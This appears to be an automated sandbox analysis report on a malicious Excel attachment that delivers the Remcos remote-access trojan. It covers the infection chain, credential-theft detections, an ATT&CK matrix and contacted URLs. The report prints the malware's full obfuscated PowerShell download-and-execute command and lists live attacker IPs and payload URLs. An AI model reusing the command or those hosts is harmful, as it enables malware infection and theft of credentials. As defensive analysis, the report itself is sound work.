Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"

Source: InstallUtil.exe, 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: |Program Manager|

Source: C:\Users\user\AppData\Roaming\winiti.exe

Code function: 11_2_000000013FDD5410 cpuid

11_2_000000013FDD5410

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	25_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	25_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	25_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	25_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	25_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	25_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	25_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoA,	25_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	25_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: IsValidCodePage,GetLocaleInfoW,	25_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	25_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	25_2_00451F9B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Roaming\winiti.exe

Code function: 11_2_000000013FDDDF20 GetSystemTimeAsFileTime,

11_2_000000013FDDDF20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0041B60D GetUserNameW,

25_2_0041B60D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

25_2_00449190

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

25_2_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \key3.db		25_2_0040BB30

Remote Access Functionality

Yara detected Remcos RAT

Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: cmd.exe

25_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	23 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	13 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	21 Obfuscated Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	121 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Install Root Certificate	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	111 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Browser Extensions	1 Windows Service	1 Software Packing	NTDS	3 File and Directory Discovery	Distributed Component Object Model	4 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	322 Process Injection	1 DLL Side-Loading	LSA Secrets	36 System Information Discovery	SSH	Keylogging	122 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	322 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Quotation.xls	18%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
Quotation.xls	24%	Virustotal		Browse
Quotation.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe	22%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
geoplugin.net	1%	Virustotal		Browse
tny.wtf	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://91.92.245.100/up	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax	0%	Avira URL Cloud	safe
http://107.173.143.46/T2507F/csrss.exep	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:	0%	Avira URL Cloud	safe
http://107.173.143.46/T2507F/csr	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://aka.ms/nativeaot-c	0%	Avira URL Cloud	safe
http://107.173.143.46/T2507F/csrss.exewerSh	0%	Avira URL Cloud	safe
http://107.173.143.46/T2507F/csrss.exep	13%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:	5%	Virustotal		Browse
http://107.173.143.46/T2507F/csrss.exed.	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://go.micros	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax	5%	Virustotal		Browse
http://107.173.143.46/T2507F/csrss.exe	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPXdO	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibility	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Virustotal		Browse
unifrieghtmovers.com	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-c	0%	Virustotal		Browse
http://107.173.143.46/T2507F/csrss.exe	13%	Virustotal		Browse
http://tny.wtf/jjJsPX0	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibility	0%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta0	0%	Avira URL Cloud	safe
http://107.173.143.46/T2507F/csr	13%	Virustotal		Browse
http://crl.usertru8	0%	Avira URL Cloud	safe
http://tny.wtf/	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...r	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibilityy	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPX0	4%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...b	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	0%	Avira URL Cloud	safe
http://tny.wtf/	5%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaoso	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	5%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaic	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPX	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaP	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPXM	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	5%	Virustotal		Browse
http://tny.wtf/jjJsPX	4%	Virustotal		Browse
https://aka.ms/nativeaot-compatibilityy	0%	Virustotal		Browse
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPXa	0%	Avira URL Cloud	safe
http://91.92.245.100/	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPXe	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Virustotal		Browse
http://107.173.143.46/T2507F/csrss.exem1	0%	Avira URL Cloud	safe
http://tny.wtf/jjJsPXa	4%	Virustotal		Browse
https://aka.ms/nativeaot-compatibilityX	0%	Avira URL Cloud	safe
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htat	0%	Avira URL Cloud	safe
http://91.92.245.100/	2%	Virustotal		Browse
https://aka.ms/GlobalizationInvariantMode	0%	Avira URL Cloud	safe
https://aka.ms/GlobalizationInvariantMode	0%	Virustotal		Browse
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htao	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibilityX	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geoplugin.net	178.237.33.50	true	false	1%, Virustotal, Browse	unknown
tny.wtf	188.114.96.3	true	false	5%, Virustotal, Browse	unknown
unifrieghtmovers.com	23.95.60.82	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.173.143.46/T2507F/csrss.exe	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
unifrieghtmovers.com	true	Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tny.wtf/jjJsPX	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://107.173.143.46/T2507F/csrss.exep	powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax	mshta.exe, 00000004.00000003.424339169.00000000029ED000.00000004.00000800.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:	mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/up	mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://107.173.143.46/T2507F/csr	powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-c	winiti.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://107.173.143.46/T2507F/csrss.exewerSh	powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.173.143.46/T2507F/csrss.exed.	powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.micros	powershell.exe, 00000007.00000002.449435147.00000000039AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449435147.0000000002BDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	winiti.exe, 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, AddInProcess32.exe, 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tny.wtf/jjJsPXdO	mshta.exe, 00000004.00000002.426650373.000000000012A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibility	winiti.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tny.wtf/jjJsPX0	Quotation.xls, 37330000.0.dr	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta0	mshta.exe, 00000004.00000003.424041898.00000000029E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.usertru8	powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.449435147.0000000002421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tny.wtf/	mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...r	mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
